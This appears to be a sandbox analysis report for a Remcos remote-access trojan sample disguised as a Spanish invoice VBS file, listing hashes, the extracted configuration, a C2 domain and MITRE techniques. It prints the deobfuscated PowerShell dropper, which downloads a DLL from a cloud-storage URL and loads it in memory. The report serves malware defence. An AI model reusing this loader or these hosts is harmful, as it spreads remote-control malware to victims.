remcos

General

Target

DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs
Size

562KB
Sample

221104-k4xyjsdgf6
MD5

e0374295f58128949b5876934737b630
SHA1

cca48afe8f320a963d3e0024ee0a3f0f8bdfe635
SHA256

594a29480b7fce9d4e200b08fcded341d776420303a8ea955333a7b7971c4512
SHA512

91beecd85f6343370034465fba5ab178a0b3d6de91e90acaa70b3c378968b5068cdebc59921dd5899bf133d326dac75ea4c2c26f1728d11edcbf2f05c255b72b
SSDEEP

192:fnh4wl8t0iFzx5o1QS/j14ta1k0yPPaNIfALuQ1Pbk:awKtR53PPaNIfALuQ1Q

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

1
$rodacopy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs"
2
[byte[]]$dll = [system.convert]::frombase64string((new-object net.webclient).downloadstring("https://firebasestorage.googleapis.com/v0/b/fir-3b506.appspot.com/o/dll%2Fnego.txt?alt=media&token=f068e42c-0fbc-4dcc-9984-985de5d7ed9c"))
3
(((([system.appdomain]::currentdomain).load($dll)).gettype("NwgoxM.KPJaNj")).getmethod("PUlGKA")).invoke($null, [object[]]"b36315676efb-8e59-f0b4-78f0-39f6c976=nekot&aidem=tla?txt.irpirp/o/moc.topsppa.7a63e-sselb/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth", $rodacopy, "Roda")
4

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/fir-3b506.appspot.com/o/dll%2Fnego.txt?alt=media&token=f068e42c-0fbc-4dcc-9984-985de5d7ed9c

Extracted

Family

remcos

Botnet

RemoteHost

C2

nbvuhvioeodhdu.duckdns.org:1883

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-YPARK9
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Targets

- Target
  
  DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs
- Size
  
  562KB
- MD5
  
  e0374295f58128949b5876934737b630
- SHA1
  
  cca48afe8f320a963d3e0024ee0a3f0f8bdfe635
- SHA256
  
  594a29480b7fce9d4e200b08fcded341d776420303a8ea955333a7b7971c4512
- SHA512
  
  91beecd85f6343370034465fba5ab178a0b3d6de91e90acaa70b3c378968b5068cdebc59921dd5899bf133d326dac75ea4c2c26f1728d11edcbf2f05c255b72b
- SSDEEP
  
  192:fnh4wl8t0iFzx5o1QS/j14ta1k0yPPaNIfALuQ1Pbk:awKtR53PPaNIfALuQ1Q
Score

10^/10

remcos remotehost rat
- Remcos
  Remcos is a closed-source remote control and surveillance software.
  rat remcos
- Blocklisted process makes network request
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Drops startup file
- Suspicious use of SetThreadContext
behavioral1 behavioral2

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Sharing

General

Malware Config

Extracted

Extracted

Targets

Blocklisted process makes network request

Checks computer location settings

Drops startup file

Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v6

Tasks

static1

behavioral1

behavioral2

We care about your privacy.